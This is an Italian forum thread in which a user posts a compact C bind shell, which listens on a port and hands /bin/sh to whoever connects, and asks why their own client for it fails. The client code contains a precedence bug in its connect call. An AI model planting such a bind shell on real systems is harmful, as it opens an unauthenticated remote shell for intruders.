PDA

View Full Version : [C] linux socket


Teo@Unix
10-02-2010, 13:56
Partendo dal codice seguente:

#include <sys/socket.h>
#include <netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
if(fork()==0)
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0xAAAA;
soc=socket(2,1,6);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execve("/bin/sh",0,0);
}
}

come lo scrivo un client per questo?
Ho provato con lo schema classico utilizzando select() in un while(1) più recv e send per leggere dal socket o scriverci, solito insomma... però così credo non vada bene....con recv e send ottengo:
read: Socket operation on non-socket
e se uso write e read.... non ottengo risposta..mmm non so che provare:rolleyes:

grazie!

EDIT: O meglio il programma suddetto si termina.....

fero86
10-02-2010, 20:13
perché non usi le costanti simboliche? :stordita:
cosi il codice é illeggibile.

comunque posta il codice del client: non ti si puó dire il problema del client leggendo il codice del server :D

PS: e controlla i valori di ritorno delle funzioni.

Teo@Unix
10-02-2010, 20:43
si allora, quel che domando è ... se scrivo un client in stile telnet funziona con questo tipo di programma? Chiedo perchè non ho mai provato a connettermi a /bin/sh in ascolo su un socket.....

per quanto riguarda lo stile del programma, che giustamente hai notato, è perchè la lunghezza del codice deve essere il più breve possibile .... quindi tralascio tutto il tralasciabile :D

tornando al client non so, ne ho scritto oggi uno velocemente e a parte dire se è giusto il codice ..... vorrei sapere con certezza se connettersi a /bin/sh in ascolto su un socket è uguale a connettersi ad un programma tipo telnetd o simile.... (tralasciando le negoziazioni che fanno) ....

per esempio un client del genere (come stile) può connettersi al programma suddetto?:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/select.h>
#include <unistd.h>
#include <netdb.h>

//MACROs:
#define MAX(a,b) ((a)>(b)?(a):(b))

// functions prototypes:
int create_sockshell(struct sockaddr*,int); //Return a connected socket

int main(int argc, char *argv[])
{
struct sockaddr_in myaddr;
struct hostent* he;
int maxfd;
char send_buffer[2048], recv_buffer[2048], *host = argv[1];
fd_set rset;

// **** Resolving Hostname **********************
if((he = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
// ************************************************

myaddr.sin_family = AF_INET;
myaddr.sin_addr = *((struct in_addr *)he->h_addr);
myaddr.sin_port = 0xAAAA;

int sock = create_sockshell((struct sockaddr *)&myaddr,sizeof(myaddr));

while(1)
{
FD_ZERO(&rset);
FD_SET(STDIN_FILENO,&rset);
FD_SET(sock,&rset);
maxfd = MAX(STDIN_FILENO,sock)+1;
select(maxfd,&rset,NULL,NULL,NULL);
if(FD_ISSET(sock,&rset))
{
memset(recv_buffer,0,sizeof(recv_buffer));
if(recv(sock,recv_buffer,sizeof(recv_buffer),0) <= 0)
{
perror("read");
exit(-1);
}
else
printf("%s",recv_buffer);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
memset(send_buffer,0,sizeof(send_buffer));
read(STDIN_FILENO,send_buffer,sizeof(send_buffer));
if(send(sock,send_buffer,sizeof(send_buffer),0) <= 0)
{
perror("write");
exit(-1);
}
}
}
}

int
create_sockshell(struct sockaddr* sa, int sockaddr_len)
{
int sock,fd;
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock <= 0) {perror("socket"); exit(-1);}
if(fd = connect(sock,sa,sockaddr_len) == -1)
{
perror("connect");
exit(-1);
}
return(fd);
}

EDIT:
ho trovato un esempio che usa read e gets... e come stile il mio dovrebbe essere corretto... mo provo... magari è solo un errore che ho commesso nel client che ho scritto